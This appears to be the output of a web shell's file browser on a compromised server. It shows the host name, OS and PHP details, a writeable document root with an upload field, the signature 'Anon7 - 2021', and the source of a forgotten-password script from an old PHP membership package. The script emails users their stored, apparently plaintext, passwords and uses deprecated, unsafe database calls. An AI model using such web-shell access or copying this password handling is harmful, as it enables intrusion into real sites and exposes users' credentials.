KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/Membership/extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/Membership/extensions/forgotpass.php
<?php
/************* Membership V2.0 *******************/
/*
Released by AwesomePHP.com, under the GPL License, a
copy of it should be attached to the zip file, or
you can view it on http://AwesomePHP.com/gpl.txt
*/
/************* Membership V2.0 *******************/	

//Call Database & Connect
require_once('headers/database.php');
connect();

//Call functions
require_once('headers/functions.php');

//Get Admin Values
$get_cd = mysql_query("SELECT * FROM `memb_config`");
while($each = mysql_fetch_assoc($get_cd)){$$each['config_name'] = $each['config_value'];}

// Do we need to call
if($_POST['S_ID'] == 1){
	//Check standard fields
	if(is_valid_email($_POST['user_email']) == false){$message = $LANGUAGE['INVALID_EMAIL'];}

	//Check Cpatcha
	if($message == NULL){
		$realanswer = trim(encode_decode(hex2bin($_POST['registration_id']),$CF_ENCDEC));
		if($CF_CAPTHCA == 'IMAGE'){
			if($_POST['answer'] != $realanswer){
				$message = $LANGUAGE['ENTER_VER_CODE'];
			}
		} else {
			if($realanswer != '*' AND $realanswer != $_POST['answer']){
				$message = $LANGUAGE['INVALID_ANSWER'];
			}
		}
	}
	
	//Everything OK, procceed
	if($message == NULL){
		//Get password
		$_POST['user_email'] = mysql_escape_string($_POST['user_email']);
		$get_pass = mysql_fetch_assoc(mysql_query("SELECT `user_password`
			FROM `memb_userlist` WHERE `user_email`='$_POST[user_email]'"));
			
		if($get_pass['user_password'] != NULL){
			$message = $LANGUAGE['PASS_SENT'];
			send_password($_POST['user_email'],$get_pass['user_password'],$CF_SITENAME,$CF_SITEEMAIL,
			$CF_FORGOTEMAIL_S,$CF_FORGOTEMAIL_B);
			$_POST = NULL;
		}else{
			$message = $LANGUAGE['ACCOUNT_NOT_FOUND'];
		}		
	}
}

//Disconnect Database
disconnect_data();
?>

Anon7 - 2021